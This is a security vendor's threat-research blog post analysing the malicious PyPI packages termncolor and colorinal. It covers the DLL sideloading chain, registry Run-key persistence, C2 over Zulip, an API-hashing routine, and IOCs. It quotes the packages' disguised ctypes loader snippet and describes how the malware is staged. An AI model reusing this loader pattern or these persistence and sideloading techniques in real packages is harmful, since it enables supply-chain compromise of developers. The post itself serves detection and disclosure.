SBN

Supply Chain Risk in Python: Termncolor and Colorinal Explained

IntroductionZscaler ThreatLabz continually monitors threats in our Python scanning database, uncovering risks that may signal potential supply chain attacks. On July 22, 2025, ThreatLabz encountered a suspicious Python package named termncolor, which at first glance appeared benign but actually introduced malicious behavior through its dependency, colorinal.In this blog post, ThreatLabz dives into termncolor and its role in enabling a multi-stage malware operation. This attack could leverage DLL sideloading to facilitate decryption, establish persistence, and conduct command-and-control (C2) communication, ending in remote code execution (RCE). Our analysis offers a detailed breakdown of the package, the malware’s potential attack chain, and the final payload. Notably, the packages examined in this research have since been removed from the Python Package Index (PyPI).Key TakeawaysOn July 22, 2025, ThreatLabz identified the Python package termncolor, which imports a malicious dependency, colorinal, serving as the initial entry point for the attack.Upon execution, colorinal loads terminate.dll, which employs AES in CBC mode to decrypt and execute the hidden payload.The malware deploys two files onto the system, a legitimate file named vcpktsvr.exe and a malicious component, libcef.dll, ensuring stealthy operation.libcef.dll collects system information and communicates with the command-and-control (C2) server using Zulip traffic patterns to disguise its activity.Persistence is achieved by creating a registry entry under the Windows Run key to ensure automatic execution of the malware at system startup.Technical AnalysisDiscovery of the malicious packageWhile monitoring for threats, ThreatLabz identified a Python package named termncolor, which imports a secondary package, colorinal, via pip. This package was flagged during routine scans in our Python package database, as illustrated in the figure below.Figure 1: Shows the termncolor package as it appears in the Zscaler package hunting database. While termncolor functions as a color utility for Python without displaying any malicious behavior, the inclusion of its external dependency, colorinal, raises concerns. The figure below illustrates the potential attack chain connected to the PyPI package discovery.Figure 2: The attack chain illustrates how termncolor could import colorinal, which would trigger unicode.py to deploy a malicious DLL via sideloading.File investigation (unicode.py)ThreatLabz uncovered a critical file named unicode.py while investigating the colorinal package, which is pivotal to the malware’s operation. At first glance, unicode.py looks like a normal Python script designed for terminal color utilities. However, our analysis revealed a method, is_color_supported, which loads an embedded DLL called terminate.dll. This DLL deploys the malware’s payload, kicking off the first stage of the attack. To avoid detection, the malware deletes both unicode.py and terminate.dll after execution.In the code sample below, the Python class ctypes.CDLL(…) loads the terminate.dll file into memory, making its functions accessible to Python. The DLL’s file path is derived from the directory of the current Python script using os.path.dirname(__file__). Once loaded, the termin instance allows Python to interface with the DLL. The function then calls the export function envir from the loaded DLL, passing a UTF-8-encoded string, xterminalunicode, which appears to query the terminal’s capabilities. The result of this query determines whether the terminal supports color.def is_color_supported():
try:
“Find out if your terminal environment supports color.”
termin = ctypes.CDLL(os.path.dirname(__file__) + “/” + “terminate.dll”)
envir = termin.envir(“xterminalunicode”.encode(“utf-8”))First stageThe first stage of the malware operation is initiated by the execution of terminate.dll, as mentioned above. Below is a technical breakdown of the role terminate.dll plays in the attack.Decryption of the payloadA core function of terminate.dll is to decrypt its embedded payload using AES in CBC mode. It uses a UTF-8-encoded key, xterminalunicode, provided by a Python script. Once deciphered, the payload reveals the files necessary to proceed to the next stage of the attack.The decrypted payload is stored in the target system’s %LOCALAPPDATA%\vcpacket directory, which serves as the staging area for the next-stage files. Here, terminate.dll drops two distinct executables: vcpktsvr.exe, a signed file that appears legitimate and is used for DLL sideloading, and libcef.dll, a malicious DLL responsible for executing the malware’s harmful activities.Persistence mechanismTo establish persistence, the malware creates a registry entry named pkt-update under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. This entry points to the file vcpktsvr.exe, which was dropped into the %LOCALAPPDATA%\vcpacket directory as mentioned above.Linux variantThe malware also includes a variant tailored for Linux systems, broadening its scope beyond Windows environments. The file terminate.so, as shown in the code sample below, is a Shared Object file, a dynamically linked library commonly used in Unix-like operating systems. Similar to its Windows counterpart, this file is designed to execute the same functionality on Linux systems.def is_color_supported():
try:
“Find out if your terminal environment supports color.”
termin = ctypes.CDLL(os.path.dirname(__file__) + “/” + “terminate.so”)
envir = termin.envir(“xterminalunicode”.encode(“utf-8”))Second stageSystem information discoveryThe second stage begins with the execution of libcef.dll, the primary malicious component dropped in the first stage. Unlike the legitimate vcpktsvr.exe, libcef.dll is specifically designed to communicate with the threat actor-controlled C2 server and gather crucial system information, such as the computer name, username, and operating system version.Command-and-control (C2) HTTPS communicationThe sample concatenates all the strings and formats the collected system information for transmission to the C2 server using HTTPS. The malware leverages the Zulip team messaging platform, disguising its activity by mimicking legitimate communication patterns, as shown in the figure below.Figure 3: Shows the malware communicating with the Zulip chat platform.The collected data is sent to the Zulip channel, after which the malware resolves APIs via a custom hashing method (explained in the section below) and executes shellcode received from the threat actor in a new thread.Techniques used by the threat actors API hashing The API hashing algorithm used by the threat actors appears to be a custom, lightweight hash function, likely designed for specific use cases such as obfuscating DLL or API names in low-level programming or malware. Its simplicity—relying on ASCII values, multiplication, and bitwise operations—makes it fast but potentially more prone to collisions compared to cryptographic hashes.The Python code sample below shows the custom hashing algorithm. def calculate_hash(name: str, case_sensitive: bool = False) -> int:
if not name:
return 12
hash_value = 12
string_to_hash = name

if not case_sensitive:
string_to_hash = name.upper()
current_char_value = ord(string_to_hash[0])

for i in range(1, len(string_to_hash) + 1):
temp_hash = current_char_value + 4 * hash_value
hash_value = (2 * temp_hash) & 0xFFFFFFFF
if i < len(string_to_hash): current_char_value = ord(string_to_hash[i]) else: current_char_value = 0 return hash_valueThreat Actor Profile: Insights From Zulip Chat PlatformThreatLabz analyzed the threat actor’s activity to identify patterns in their tactics and behavior. The key findings are outlined below:The threat actor used the email address [email protected] and user ID 937950. They joined July 15, 2025 at a local time of 10:20 AM.The threat actor’s organization includes three active users.A total of 90,692 messages were exchanged within the platform.File storage usage amounted to 23 MB.The threat actor’s activity trends show a steady increase in user engagement, with private channels accounting for 100% of messages.The highest volume of messages sent and read occurred in late July 2025.Client usage analytics show a preference for the Python API (3.2%) in transmitting messages, with the web app accounting for 0.11% and unspecified usage totaling 97%.The malware author appears to have been active since July 10, 2025; however, the C2 panel is currently offline.ConclusionThe termncolor package and its malicious dependency colorinal highlight the importance of monitoring open-source ecosystems for potential supply chain attacks. Our analysis shows how threat actors could use seemingly benign Python packages to distribute multi-stage malware, leveraging techniques such as DLL sideloading, persistence mechanisms, and covert C2 communication. It’s important to note that the packages involved in this attack have been removed from PyPI.Zscaler ThreatLabz remains committed to monitoring threats in widely used software repositories and sharing those findings with the wider security research community. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this threat at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for this threat.Figure 4: Zscaler Cloud Sandbox report for Xterminal.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to this threat at various levels with the following threat names:Python.Backdoor.PyPIWin64.Backdoor.XterminalWin64.Dropper.XterminalELF64.Dropper.XterminalELF64.Backdoor.XterminalIndicators Of Compromise (IOCs)MD5Name381022e5fd0cede7146f9922e1ed30a3libcef.dll9267d9a72207df3217014f206ba18560vcpktsvr.exe1995682d600e329b7833003a01609252terminate.dllc5f0425dabd01d7ba80dfc3d5ca19841colorinal package (.whl - PyPI)7857238199018edc0ad7cd4d851c5a9btermncolor (.whl package - PyPI)C2helper[.zulpichat[.com5152410aeef667ffaf42d40746af4d84Linux Python package38b75af6cbdb60127decd59140d10640terminal.sodb69c6bfbf6575e0d887351265165e6eMalicious ELF backdoorMITRE ATT&CK TechniquesTacticIDTechnique NameDescriptionExecutionT1059Dynamic Code ExecutionExecutes code dynamically within memory to evade security mechanisms.Persistence/Defense EvasionT1073DLL SideloadingLoads malicious DLLs to execute arbitrary code in the place of legitimate functions.Command and ControlT1071Distorted API Calls via Zulip-style Communication to Remote C2 ServerUtilizes obscured or unusual communication protocols for C2 server communication.DiscoveryT1082System Information DiscoveryGathers detailed system information such as computer name, user name, OS version, and hardware IDs.ExecutionT1085Rundll32Uses the legitimate Rundll32 program to execute malicious code.

*** This is a Security Bloggers Network syndicated blog from Security Research | Blog authored by Manisha Ramcharan Prajapati (Sr. Security Researcher). Read the original post at: https://www.zscaler.com/blogs/security-research/supply-chain-risk-python-termncolor-and-colorinal-explained